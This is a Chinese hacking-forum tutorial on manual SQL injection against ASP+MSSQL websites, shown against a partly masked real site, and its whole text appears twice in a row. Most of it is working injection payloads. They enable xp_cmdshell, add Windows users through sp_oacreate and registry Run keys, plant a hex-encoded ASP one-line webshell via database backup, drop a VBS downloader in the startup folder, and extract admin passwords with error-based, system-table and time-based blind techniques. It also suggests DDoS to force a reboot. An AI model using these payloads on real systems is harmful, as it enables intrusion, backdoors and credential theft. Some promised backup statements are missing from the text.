作者:DragonEgg
信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/
一:注入点的判断
当我们在URL后特殊字符或语句,使其报错时,若在返回的信息中有类似“[Microsoft][ODBC SQL Server Driver][SQL Server]”的字样,关键在于:“Microsoft”和“SQL Server”,就可以判断出目标为MSSQL数据库。MSSQL通常和ASP脚本搭配,也有和php或jsp搭配的,但很少见。我们还是从ASP+MSSQL入手。针对这种数据库,权限的判断很重要,如果有足够的权限,我们就不用像ACCESS那样逐字猜解那么麻烦了。
二:有错误回显的MSSQL
对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC。SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。
对于目标的权限,我们需要用IS_SRVROLEMEMBER函数来判断,我们提交:
http://www.****.org/newshowlistgo_new.asp?id=5' and 1=(select IS_SRVROLEMEMBER('public'))--
得到结果如图17,显示错误,说明不是public权限,然后再把“public”换成“sysadmin”或“db_owner”进行测试,哪种返回正确,就是那种权限,这里是SA权限。
接下来我们继续确定目标数据库的版本号及操作系统,因为是显错模式的,我们提交语句:
http://www.****.org/newshowlistgo_new.asp?id=5' and 1=convert(int,@@version)--
即可返回我们需要的信息,如图18,
从返回的信息我们可以清楚的判断出目标数据库的版本为MSSQL2000-8.00.2039,操作系统是Windows NT 5.0。
还有要判断目标是否支持多语句执行,提交:
http://www.****.org/newshowlistgo_new.asp?id=5' declare @d int--
如果返回正常,如果返回正常,说明这个注入点是支持多语句执行的。
我们来看看在SA权限下执行系统命令。首先想到的是“xp_cmdshell”这个存储过程,先要判断这个过程是否存在,提交:
http://www.****.org/newshowlistgo_new.asp?id=5' and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')--
结果返回正常,如图19,
这样就好办了,如果返回错误,可能是xp_cmdshell被删除,我们可以用以下语句恢复:
http://www.****.org/newshowlistgo_new.asp?id=5';exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'--
返回结果正常就是恢复成功。否则需上传xplog70.dll后执行:
':exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;--
你的xplog70.dll传到哪里就写哪里。接着利用xp_cmdshell执行系统命令了,为了安全这里把端口情况显示在web路径下代替添加用户,提交:
http://www.****.org/newshowlistgo_new.asp?id=5';exec master..xp_cmdshell 'netstat -an>>D:\chinagreenwood\netstat.txt'--
如图20,
这里假设的是已经知道了web路径。如果返回错误的话,我们还可以利用SP_OACreate过程,提交:
http://www.****.org/newshowlistgo_new.asp?id=5';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dragonegg 123456 /add'--
返回正常就是命令执行成功。然后就是连接3389或进行其它操作了。
然后我们再看看DB权限下如何操作。我们首先来试试xp_regwrite过程能不能用,在注入点执行:
http://www.****.org/newshowlistgo_new.asp?id=5';exec master..xp_regwrite 'HKEY_LOCAL_MACHINE',''SOFTWARE\Microsoft\Windows\CurrentVersion\Run','adduser','REG_SZ','net user DragonEgg 123456 /add'--
如果返回正常,我们就在目标服务器注册表启动项里加了一个添加用户的命令,只要让目标服务器重启即可,可以等它自己重启,也可以用DDOS让它重启(慎用)。
我们再看看备份数据获取webshell的方法。备份数据库前,我们要知道数据库名,提交:
http://www.****.org/newshowlistgo_new.asp?id=5';and 1=convert(int,db_name())--
返回信息如图21,
得到数据库名。然后在获取网站的路径,语句如下:
结果如图22,
大致思路是:建立一个dan_gege表,里面有fn,d,f三个列,再将列出的目录存到表里,然后在暴表里的内容,最后删除表。“0x”代表十六进制,“43003A00”是“C:\”的十六进制格式,只要将“43003A00”换成我们想要列的目录的十六进制格式就可以了。大家可以使用“MSSQL手工注入查找目录辅助工具”来查找目录,如图23。
不过有的时候,在加单引号时,会自己暴出WEB路径。得到WEB路径后,我们接下来就可以通过备份来获取webshell,或者备份VBS下载者到目标服务器的系统启动项目录里。目前最常用的有两种备份,分别为LOG备份和差异部分。而LOG备份比差异备份的成功率要高一些,因此大多数人使用LOG备份,LOG备份语句如下:
差异备份语句:
上面语句中的“273C25657865637574652072657175657374285E22335E2229253E27”就是一句话:“'<%execute request(^"3^")%>'”的十六进制格式,注意是有单引号的,另外如果备份的数据库名里有特殊符号,如“-”就需要用[]将数据库名包含起来,然后访问1.asp,用一句话木马客户端连接就拿到了webshell。
既然能备份成asp格式,那么也就能备份成bat、vbs格式,将一句话的十六进制代码用VBS下载者的十六进制代码替换,把文件保存目录改为系统的启动项目录,如:“C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs”,当服务器重启时,就能运行我们的文件了。最后再来看看PUBLIC权限下的注入。MSSQL在PUBLIC权限下和ACCESS一样,只能和表打交道了,不过在MSSQL下,若是有错误回显,我们便不用像access那样一个一个子的去猜了,我们可以将数据内容直接暴出来。下面介绍两种MSSQL暴数据的方法,名字是我自己想的不知道对不对。
1:错误回显法
确定目标是PUBLIC权限后,在URL后加上“having 1=1--”提交,返回的信息如图24.
从回显的信息中我们可以看出类似“hyhdong.hyid”这样的字样,说明存在“hyhdong”这个表,表中有“hyid”这个列。那么怎么样获得其他列名呢?就要“group by”的配合了,我们提交如下语句:
http://www.****.org/newshowlistgo_new.asp?id=5'group by hyhdong.hyid having 1=1--
返回信息如图25,
从中可以看出又出现了一个“hytitle”列,继续提交:
http://www.****.org/newshowlistgo_new.asp?id=5'group by hyhdong.hyid,hyhdong.hytitle having 1=1--
就可以得到下一个列名,如图26。
以此类推,直到程序报错,没有再回显出新的列名时,列名就全部暴出来了。然而这只是得到当前一个表的列名,那么其他表呢?我们要用到“information_schema”了。在程序中,若想要动态的得到某一个表的具体信息,就是用到了information_schema信息数据库,而它当中又包含了许多表,我们用到的只有两个:“information_schema.tables”和“information_schema.columns”。我们提交如下语句:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables))--
convert()函数是把日期转换为新的数据类型的通用函数,而查询出的表名是字符串,不是日期格式,程序就又报错了,并暴出第一个表,得到的信息如图27。
从返回的信息我们可以看到第一个表的表名为:“stycss”。我们继续找第二个,提交如下URL:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('stycss')))--
哈哈又出来一个,还是“admin”表,如图28。
上面语句中的not in()函数是排除,不包括的意思,再去找第三个,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('stycss','admin')))--
得到第三个表名,如图29。
以此类推直到程序报错,表就全部列出来了。现在来看看“admin”表,这个表是比较敏感的了,我们下一步就是得到这个表里的列名,怎么做呢?我们来提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin'))--
得到返回的信息如图30。
爆出了第一个列名,接着暴第二个,再次提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin' where column_name not in('id'))--
第二个也出来了,如图31。
然后就按照上面语句中not in()函数的格式暴出所有的列,其中就有“password”列。暴出我们想要的列,然后后就是暴列里面的内容,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 admin from admin))--
可以看到第一个“admin”列的值为“admin”,如图32。
再就是“password”列:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 password from admin))--
“password”的值是“friends”,如图33。
接下来就是找后台,拿webshell了。接下来看第二种方法:
2:默认系统表法
在开始前我们先来认识下默认系统表—sysdatabases。sysdatabases是MSSQL默认系统表,包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”这五个表,对应的bdid的值为1到5,用户新建的数据库从bdid=6开始,我们可以通过修改bdid的值来暴出库名,语句为:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select name from master.dbo.sysdatabases where dbid=6)--
最后在dbid=11时暴出我们需要的库名为:“chinagreenwood”,如图34。
接着暴数据库中的表名,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype='U')--
爆出第一个表名:“stycss”如图35,
接下来第二个表,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype='U' and name not in('stycss'))--
返回结果如图36。
按照not in()函数的格式暴出所有的表。再下来就是暴表里的列了,用默认系统表法暴表里的列,需要利用目标表在数据库的ID值来获取表中的具体内容,提交的语句为:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select count(*) from chinagreenwood.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))--
暴出的ID值为“1977058079”,如图37。
再根据这个ID值来获取列名,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079)--
返回结果如图38所示,
暴出了第一个列名:“admin”,再按下面的语句暴出第二个:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079 and name not in('admin'))--
如图39,
再按照not in()函数的格式暴出所有的列,其中有“password”这个列。历尽千辛万苦,终于要见到胜利的输曙光了,我们立即去暴列的内容:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select admin from chinagreenwood.dbo.admin where admin>1)--
可能有点乱,上句语句中,有三个admin,第一个admin是列名,第二个是表名,第三个也是列名。暴出值还为“admin”,如图40。
汗一个,这管理员太懒了。然后我们再暴当“admin”列的值为“admin”时,“password”列的值,语句如下:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select admin from chinagreenwood.dbo.admin where admin='admin' and password>1)--
如图41,
暴出了当“admin”列的值为“admin”时,“password”列的值为“friends”。举一反三,要暴列内别的列的内容时,将“password”换成要暴的列名。到此为止,我们需要的东西就都出来了,但是我们找的注入点没有回显怎么办?大家别急,继续向下看。
三、无错误回显的MSSQL
并不是所有的MSSQL注入点都有错误回显的,当大家在URL后输入类似的SQL语句,就会弹出对话框(不是那种防注入警告框)、转到另一个页面或只剩下基本的页面框架,不显示内容等,这就是碰到了无错误回显的MSSQL注入点,如图42。
对于这样的注入点,多数情况下我们只剩下了一个办法,那就是“猜”,无错误回显的MSSQL注入点的“猜”也被称为盲注。怎么猜呢?就是利用前面ACCESS介绍的ASCII逐字猜解法去猜。这里给大家介绍另一种方法—时间差判断法(名字还是我想的=,=!)
时间差判断法就是利用IF判断语句结合时间差进行判断,根据反应的时间,来判断我们的语句是否成功执行。在URL后加上延迟执行语句,提交:
http://www.****365.com/new_new.asp?id=166;waitfor delay '0:0:5'--
提交后会发现刷新的时间明显会慢些,因为“waitfor delay '0:0:5'”的意思是延迟5秒再执行SQL语句,由此判断出我们的语句被成功带入SQL语句中执行,这意味着我们可以继续利用时间差判断法来判断。如提交:
http://www.****365.com/new_new.asp?id=166;if(lower(ascii(substring(user),N,1))>97) waitfor delay '0:0:5'--
这是判断第N位的ASCII码是不是大于97.在实际应用中,把user换成我们的猜解语句就可以,我们使用的啊D、NBSI等工具都自带盲注猜解工具。如果大家深入的研究就会发现,盲注的威力是很大的。
信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/
一:注入点的判断
当我们在URL后特殊字符或语句,使其报错时,若在返回的信息中有类似“[Microsoft][ODBC SQL Server Driver][SQL Server]”的字样,关键在于:“Microsoft”和“SQL Server”,就可以判断出目标为MSSQL数据库。MSSQL通常和ASP脚本搭配,也有和php或jsp搭配的,但很少见。我们还是从ASP+MSSQL入手。针对这种数据库,权限的判断很重要,如果有足够的权限,我们就不用像ACCESS那样逐字猜解那么麻烦了。
二:有错误回显的MSSQL
对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC。SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。
对于目标的权限,我们需要用IS_SRVROLEMEMBER函数来判断,我们提交:
http://www.****.org/newshowlistgo_new.asp?id=5' and 1=(select IS_SRVROLEMEMBER('public'))--
得到结果如图17,显示错误,说明不是public权限,然后再把“public”换成“sysadmin”或“db_owner”进行测试,哪种返回正确,就是那种权限,这里是SA权限。
接下来我们继续确定目标数据库的版本号及操作系统,因为是显错模式的,我们提交语句:
http://www.****.org/newshowlistgo_new.asp?id=5' and 1=convert(int,@@version)--
即可返回我们需要的信息,如图18,
从返回的信息我们可以清楚的判断出目标数据库的版本为MSSQL2000-8.00.2039,操作系统是Windows NT 5.0。
还有要判断目标是否支持多语句执行,提交:
http://www.****.org/newshowlistgo_new.asp?id=5' declare @d int--
如果返回正常,如果返回正常,说明这个注入点是支持多语句执行的。
我们来看看在SA权限下执行系统命令。首先想到的是“xp_cmdshell”这个存储过程,先要判断这个过程是否存在,提交:
http://www.****.org/newshowlistgo_new.asp?id=5' and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')--
结果返回正常,如图19,
这样就好办了,如果返回错误,可能是xp_cmdshell被删除,我们可以用以下语句恢复:
http://www.****.org/newshowlistgo_new.asp?id=5';exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'--
返回结果正常就是恢复成功。否则需上传xplog70.dll后执行:
':exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;--
你的xplog70.dll传到哪里就写哪里。接着利用xp_cmdshell执行系统命令了,为了安全这里把端口情况显示在web路径下代替添加用户,提交:
http://www.****.org/newshowlistgo_new.asp?id=5';exec master..xp_cmdshell 'netstat -an>>D:\chinagreenwood\netstat.txt'--
如图20,
这里假设的是已经知道了web路径。如果返回错误的话,我们还可以利用SP_OACreate过程,提交:
http://www.****.org/newshowlistgo_new.asp?id=5';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dragonegg 123456 /add'--
返回正常就是命令执行成功。然后就是连接3389或进行其它操作了。
然后我们再看看DB权限下如何操作。我们首先来试试xp_regwrite过程能不能用,在注入点执行:
http://www.****.org/newshowlistgo_new.asp?id=5';exec master..xp_regwrite 'HKEY_LOCAL_MACHINE',''SOFTWARE\Microsoft\Windows\CurrentVersion\Run','adduser','REG_SZ','net user DragonEgg 123456 /add'--
如果返回正常,我们就在目标服务器注册表启动项里加了一个添加用户的命令,只要让目标服务器重启即可,可以等它自己重启,也可以用DDOS让它重启(慎用)。
我们再看看备份数据获取webshell的方法。备份数据库前,我们要知道数据库名,提交:
http://www.****.org/newshowlistgo_new.asp?id=5';and 1=convert(int,db_name())--
返回信息如图21,
得到数据库名。然后在获取网站的路径,语句如下:
结果如图22,
大致思路是:建立一个dan_gege表,里面有fn,d,f三个列,再将列出的目录存到表里,然后在暴表里的内容,最后删除表。“0x”代表十六进制,“43003A00”是“C:\”的十六进制格式,只要将“43003A00”换成我们想要列的目录的十六进制格式就可以了。大家可以使用“MSSQL手工注入查找目录辅助工具”来查找目录,如图23。
不过有的时候,在加单引号时,会自己暴出WEB路径。得到WEB路径后,我们接下来就可以通过备份来获取webshell,或者备份VBS下载者到目标服务器的系统启动项目录里。目前最常用的有两种备份,分别为LOG备份和差异部分。而LOG备份比差异备份的成功率要高一些,因此大多数人使用LOG备份,LOG备份语句如下:
差异备份语句:
上面语句中的“273C25657865637574652072657175657374285E22335E2229253E27”就是一句话:“'<%execute request(^"3^")%>'”的十六进制格式,注意是有单引号的,另外如果备份的数据库名里有特殊符号,如“-”就需要用[]将数据库名包含起来,然后访问1.asp,用一句话木马客户端连接就拿到了webshell。
既然能备份成asp格式,那么也就能备份成bat、vbs格式,将一句话的十六进制代码用VBS下载者的十六进制代码替换,把文件保存目录改为系统的启动项目录,如:“C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs”,当服务器重启时,就能运行我们的文件了。最后再来看看PUBLIC权限下的注入。MSSQL在PUBLIC权限下和ACCESS一样,只能和表打交道了,不过在MSSQL下,若是有错误回显,我们便不用像access那样一个一个子的去猜了,我们可以将数据内容直接暴出来。下面介绍两种MSSQL暴数据的方法,名字是我自己想的不知道对不对。
1:错误回显法
确定目标是PUBLIC权限后,在URL后加上“having 1=1--”提交,返回的信息如图24.
从回显的信息中我们可以看出类似“hyhdong.hyid”这样的字样,说明存在“hyhdong”这个表,表中有“hyid”这个列。那么怎么样获得其他列名呢?就要“group by”的配合了,我们提交如下语句:
http://www.****.org/newshowlistgo_new.asp?id=5'group by hyhdong.hyid having 1=1--
返回信息如图25,
从中可以看出又出现了一个“hytitle”列,继续提交:
http://www.****.org/newshowlistgo_new.asp?id=5'group by hyhdong.hyid,hyhdong.hytitle having 1=1--
就可以得到下一个列名,如图26。
以此类推,直到程序报错,没有再回显出新的列名时,列名就全部暴出来了。然而这只是得到当前一个表的列名,那么其他表呢?我们要用到“information_schema”了。在程序中,若想要动态的得到某一个表的具体信息,就是用到了information_schema信息数据库,而它当中又包含了许多表,我们用到的只有两个:“information_schema.tables”和“information_schema.columns”。我们提交如下语句:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables))--
convert()函数是把日期转换为新的数据类型的通用函数,而查询出的表名是字符串,不是日期格式,程序就又报错了,并暴出第一个表,得到的信息如图27。
从返回的信息我们可以看到第一个表的表名为:“stycss”。我们继续找第二个,提交如下URL:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('stycss')))--
哈哈又出来一个,还是“admin”表,如图28。
上面语句中的not in()函数是排除,不包括的意思,再去找第三个,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('stycss','admin')))--
得到第三个表名,如图29。
以此类推直到程序报错,表就全部列出来了。现在来看看“admin”表,这个表是比较敏感的了,我们下一步就是得到这个表里的列名,怎么做呢?我们来提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin'))--
得到返回的信息如图30。
爆出了第一个列名,接着暴第二个,再次提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin' where column_name not in('id'))--
第二个也出来了,如图31。
然后就按照上面语句中not in()函数的格式暴出所有的列,其中就有“password”列。暴出我们想要的列,然后后就是暴列里面的内容,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 admin from admin))--
可以看到第一个“admin”列的值为“admin”,如图32。
再就是“password”列:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 password from admin))--
“password”的值是“friends”,如图33。
接下来就是找后台,拿webshell了。接下来看第二种方法:
2:默认系统表法
在开始前我们先来认识下默认系统表—sysdatabases。sysdatabases是MSSQL默认系统表,包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”这五个表,对应的bdid的值为1到5,用户新建的数据库从bdid=6开始,我们可以通过修改bdid的值来暴出库名,语句为:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select name from master.dbo.sysdatabases where dbid=6)--
最后在dbid=11时暴出我们需要的库名为:“chinagreenwood”,如图34。
接着暴数据库中的表名,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype='U')--
爆出第一个表名:“stycss”如图35,
接下来第二个表,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype='U' and name not in('stycss'))--
返回结果如图36。
按照not in()函数的格式暴出所有的表。再下来就是暴表里的列了,用默认系统表法暴表里的列,需要利用目标表在数据库的ID值来获取表中的具体内容,提交的语句为:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select count(*) from chinagreenwood.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))--
暴出的ID值为“1977058079”,如图37。
再根据这个ID值来获取列名,提交:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079)--
返回结果如图38所示,
暴出了第一个列名:“admin”,再按下面的语句暴出第二个:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079 and name not in('admin'))--
如图39,
再按照not in()函数的格式暴出所有的列,其中有“password”这个列。历尽千辛万苦,终于要见到胜利的输曙光了,我们立即去暴列的内容:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select admin from chinagreenwood.dbo.admin where admin>1)--
可能有点乱,上句语句中,有三个admin,第一个admin是列名,第二个是表名,第三个也是列名。暴出值还为“admin”,如图40。
汗一个,这管理员太懒了。然后我们再暴当“admin”列的值为“admin”时,“password”列的值,语句如下:
http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select admin from chinagreenwood.dbo.admin where admin='admin' and password>1)--
如图41,
暴出了当“admin”列的值为“admin”时,“password”列的值为“friends”。举一反三,要暴列内别的列的内容时,将“password”换成要暴的列名。到此为止,我们需要的东西就都出来了,但是我们找的注入点没有回显怎么办?大家别急,继续向下看。
三、无错误回显的MSSQL
并不是所有的MSSQL注入点都有错误回显的,当大家在URL后输入类似的SQL语句,就会弹出对话框(不是那种防注入警告框)、转到另一个页面或只剩下基本的页面框架,不显示内容等,这就是碰到了无错误回显的MSSQL注入点,如图42。
对于这样的注入点,多数情况下我们只剩下了一个办法,那就是“猜”,无错误回显的MSSQL注入点的“猜”也被称为盲注。怎么猜呢?就是利用前面ACCESS介绍的ASCII逐字猜解法去猜。这里给大家介绍另一种方法—时间差判断法(名字还是我想的=,=!)
时间差判断法就是利用IF判断语句结合时间差进行判断,根据反应的时间,来判断我们的语句是否成功执行。在URL后加上延迟执行语句,提交:
http://www.****365.com/new_new.asp?id=166;waitfor delay '0:0:5'--
提交后会发现刷新的时间明显会慢些,因为“waitfor delay '0:0:5'”的意思是延迟5秒再执行SQL语句,由此判断出我们的语句被成功带入SQL语句中执行,这意味着我们可以继续利用时间差判断法来判断。如提交:
http://www.****365.com/new_new.asp?id=166;if(lower(ascii(substring(user),N,1))>97) waitfor delay '0:0:5'--
这是判断第N位的ASCII码是不是大于97.在实际应用中,把user换成我们的猜解语句就可以,我们使用的啊D、NBSI等工具都自带盲注猜解工具。如果大家深入的研究就会发现,盲注的威力是很大的。